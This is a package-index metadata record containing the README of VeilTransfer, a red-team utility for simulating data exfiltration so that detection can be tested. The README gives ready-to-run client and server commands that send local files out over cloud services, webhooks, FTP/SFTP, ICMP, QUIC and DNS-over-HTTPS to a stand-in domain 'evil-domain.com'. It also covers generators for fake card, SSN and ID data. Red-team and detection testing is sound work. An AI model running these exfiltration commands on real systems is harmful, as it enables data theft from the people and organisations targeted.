{"id":28194162,"url":"https://github.com/infosecn1nja/veiltransfer","last_synced_at":"2025-05-16T13:11:42.899Z","repository":{"id":277450201,"uuid":"847504047","full_name":"infosecn1nja/VeilTransfer","owner":"infosecn1nja","description":"VeilTransfer is a data exfiltration utility designed to test and enhance the detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture.","archived":false,"fork":false,"pushed_at":"2025-02-14T00:58:53.000Z","size":33,"stargazers_count":105,"open_issues_count":0,"forks_count":12,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-02-14T01:39:20.677Z","etag":null,"topics":["cybersecurity","data-exfiltration","golang","hacking","pentest","redteam"],"latest_commit_sha":null,"homepage":"","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/infosecn1nja.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2024-08-26T01:40:37.000Z","updated_at":"2025-02-14T00:58:56.000Z","dependencies_parsed_at":"2025-02-14T01:39:29.982Z","dependency_job_id":"7fd88eb1-efeb-4212-b6d9-416ad4c12295","html_url":"https://github.com/infosecn1nja/VeilTransfer","commit_stats":null,"previous_names":["infosecn1nja/veiltransfer"],"tags_count":1,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/infosecn1nja%2FVeilTransfer","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/infosecn1nja%2FVeilTransfer/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/infosecn1nja%2FVeilTransfer/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/infosecn1nja%2FVeilTransfer/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/infosecn1nja","download_url":"https://codeload.github.com/infosecn1nja/VeilTransfer/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254535814,"owners_count":22087399,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cybersecurity","data-exfiltration","golang","hacking","pentest","redteam"],"created_at":"2025-05-16T13:11:33.797Z","updated_at":"2025-05-16T13:11:42.893Z","avatar_url":"https://github.com/infosecn1nja.png","language":"Go","funding_links":[],"categories":[],"sub_categories":[],"readme":"# VeilTransfer 2.0\n\nVeilTransfer is a data exfiltration utility designed to test and enhance detection capabilities. This tool simulates real-world data exfiltration techniques used by advanced threat actors, allowing organizations to evaluate and improve their security posture. By leveraging multiple exfiltration methods such as MEGA, GitHub, SFTP, WebDAV, and more, VeilTransfer helps identify gaps in your defenses and ensures your security solutions are prepared to counter modern data breaches.\n\n## Supported Exfiltration Methods\n\n- MEGA\n- GitHub\n- Dropbox\n- Telegram\n- Pastebin\n- WebDAV\n- Webhook\n- SFTP\n- FTP\n- DoH (DNS over HTTPS)\n- QUIC\n- ICMP\n\n## MITRE ATT\u0026CK Mapping\n\n|ID|Techniques|\n|--|---------|\n|T1029|Scheduled Transfer|\n|T1020|Automated Exfiltration|\n|T1132.001|Data Encoding: Standard Encoding|\n|T1560.002|Archive Collected Data: Archive via Library|\n|T1567.001|Exfiltration Over Web Service: Exfiltration to Code Repository|\n|T1567.002|Exfiltration Over Web Service: Exfiltration to Cloud Storage|\n|T1567.003|Exfiltration Over Web Service: Exfiltration to Text Storage|Sites|\n|T1567.004|Exfiltration Over Web Service: Exfiltration Over Webhook|\n|T1048.003|Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol|\n|T1048.002|Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol|\n\n## Additional Features\n\n### Fake Data Generation\nVeilTransfer also supports generating fake data, including:\n\n- **Indonesia Identity Card (KTP) Numbers:** Generate realistic KTP numbers and associated data.\n- **Credit Card Information:** Create fake credit card details in PCI DSS format, including First Name, Last Name, CCN (Visa/MasterCard/AMEX), and Expiration Date.\n- **Social Security Numbers (SSN):** Generate fake SSNs for use in simulations and testing environments.\n- **Medical Records:** Generate fake medical record data in Indonesian (id) or English (en).\n\n### Zip Data Creation\nEasily create zip files for bundling and compressing data, which can then be used for exfiltration or testing different scenarios. Supports optional splitting into multiple files based on size.\n\n## Example Use Cases\n* **Red Team Operations:** Deploy VeilTransfer during red team exercises to challenge blue teams with sophisticated and realistic exfiltration scenarios.\n* **Purple Teaming:** Collaborate with your defensive teams to simulate and then detect exfiltration attempts, refining both offensive and defensive tactics.\n* **Security Testing:** Use VeilTransfer to validate the effectiveness of DLP, NDR, firewall, and other network security measures.\n\n## Example Usage\n\n### Transfer\n\n#### Transfer a File via SFTP\nThis example demonstrates how to securely transfer a file to a remote server using the SFTP protocol. The file is located on the local machine, and it's transferred to the specified remote directory using SSH authentication.\n```bash\nveiltransfer_client transfer sftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server example.com:22 -username user -password pass\n```\n\n#### Transfer Files to a WebDAV Server\nIn this example, files from a local directory are uploaded to a WebDAV server. The server requires a username and password for authentication. The server parameter includes the URI scheme (https:// or http://).\n```bash\nveiltransfer_client transfer webdav -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server http://webdav.example.com:8080 -username user -password pass\n```\n\n#### Transfer Files to Mega Cloud\nThis example shows how to transfer files to Mega Cloud storage. The files are uploaded from a specified local directory, and the authentication is handled using the user's Mega Cloud credentials.\n```bash\nveiltransfer_client transfer mega -localPath (/path/to/file or /path/to/directory) -username megauser@example.com -password megasecretpassword\n```\n\n#### Transfer Files via FTP\nThis example, a file is uploaded to an FTP server. The file is transferred to a specific directory on the remote server. The server requires a username and password for authentication.\n```bash\nveiltransfer_client transfer ftp -localPath (/path/to/file or /path/to/directory) -remoteDir /remote/path -server ftp.example.com:21 -username ftpuser -password ftppassword\n```\n\n#### Upload a File to Pastebin\nThis example demonstrates how to upload the contents of a file to Pastebin. The content is posted to Pastebin using an API key provided by the user.\n```bash\nveiltransfer_client transfer pastebin -localPath (/path/to/file or /path/to/directory) -apiKey your_pastebin_api_key\n```\n\n#### Send a File to a GitHub Repository\nThis example shows how to push a file from the local machine to a specific GitHub repository. The file is added to the repository using the user's GitHub API token for authentication.\n```bash\nveiltransfer_client transfer github -localPath (/path/to/file or /path/to/directory) -repo yourusername/repository -apiKey your_github_api_token\n```\n\n#### Send a File to a Telegram Channel\nThis example demonstrates how to send a file to a specific Telegram channel. The file is sent using a Telegram bot API token, and the message is delivered to the specified channel ID.\n```bash\nveiltransfer_client transfer telegram -localPath (/path/to/file or /path/to/directory) -telegramAPI your_telegram_bot_api_token -channelID 123456789\n```\n\n#### Send Data to a Webhook URL\nIn this example, the contents of a file are sent to a specified Webhook URL.\n```bash\nveiltransfer_client transfer webhook -localPath (/path/to/file or /path/to/directory) -webhookURL https://webhook.site/your-webhook-url\n```\n\n#### Transfer Files via DoH (DNS over HTTPS)\n\nTo establish a secure data exfiltration mechanism utilizing DNS over HTTPS (DoH), the following DNS records must be configured:\n\n1. A Record: Point test to the IP address \u003cVeilTransfer_IP_Address\u003e.\n\n   test -\u003e \u003cVeilTransfer_IP_Address\u003e\n\n2. NS Record: Define a subdomain (exfil) that is managed by evil-domain.com.\n\n   exfil -\u003e test.evil-domain.com\n\nThe domain exfil.evil-domain.com will serve as the DNS Exfil domain.\n\nThen, start the VeilTransfer Server in DoH mode with the following command:\n```bash\nveiltransfer_server doh -key ag36rjsg284nfk2g -folder /root/data/exfil\n```\nNote: The encryption key (-key) must be 16 or 32 characters long.\n\nTo upload files via DoH, ensure that the VeilTransfer Server is actively running in DoH mode with a valid encryption key. Then, initiate the transfer using the client command:\n```bash\nveiltransfer_client transfer doh -localPath /path/to/file_or_directory -key ag36rjsg284nfk2g -dnsServer exfil.evil-domain.com\n```\n\n#### Transfer Files via QUIC\nTo start the VeilTransfer server in QUIC mode, use the following command:\n```bash\nveiltransfer_server quic -cert /path/server.crt -key /path/server.key\n```\n\nOnce the server is running, you can upload files or directories using:\n```bash\nveiltransfer_client transfer quic -localPath (/path/to/file or /path/to/directory) -server example.com:443\n```\n\n#### Transfer Files via ICMP\nTo enable file transfers via the ICMP protocol, start the VeilTransfer Server in ICMP mode by executing the following command:\n```bash\nveiltransfer_server_linux icmp -folder /path/folder\n```\nOnce the server is active, execute the following command to transfer files or directories via ICMP:\n```bash\nveiltransfer_client_linux transfer icmp -localPath (/path/to/file or /path/to/directory) -server \u003cip address\u003e\n```\n\n### Create Zip Files\n\n#### Create a Simple Zip File\nCreates a zip archive from a specified directory.\n```bash\nveiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip\n```\n\n#### Create a Split Zip File\nCreates a zip archive split into multiple parts based on the specified size.\n```bash\nveiltransfer_client create-zip -localPath /path/to/directory -outputPath /path/to/output.zip -splitSize 1000000\n```\n\n### Data Generator\n\n#### Generate 100 Fake Credit Card Numbers\nThis example shows how to generate 100 entries of fake credit card data. The generated data will include credit card numbers, expiration dates, and associated details.\n```bash\nveiltransfer_client generate-fake -ccn -count 100\n```\n\n#### Generate 50 Fake Indonesian KTP Entries\nThis example demonstrates how to generate 50 entries of fake KTP data, which are Indonesian identity cards. The data includes personal information such as name, address, and KTP number.\n```bash\nveiltransfer_client generate-fake -ktp -count 50\n```\n\n#### Generate 200 Fake Social Security Numbers\nThe generated data includes Social Security Numbers formatted according to U.S. standards.\n```bash\nveiltransfer_client generate-fake -ssn -count 200\n```\n\n#### Generate 300 Fake Medical Records in English\nThis example demonstrates how to generate 300 fake medical records in English.\n```bash\nveiltransfer_client generate-fake -medical-record -count 300 -language en\n```\n\n## Contributing\nContributions to VeilTransfer are welcome! If you have ideas for new features, exfiltration methods, or improvements, please submit a pull request or open an issue on GitHub.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Finfosecn1nja%2Fveiltransfer","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Finfosecn1nja%2Fveiltransfer","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Finfosecn1nja%2Fveiltransfer/lists"}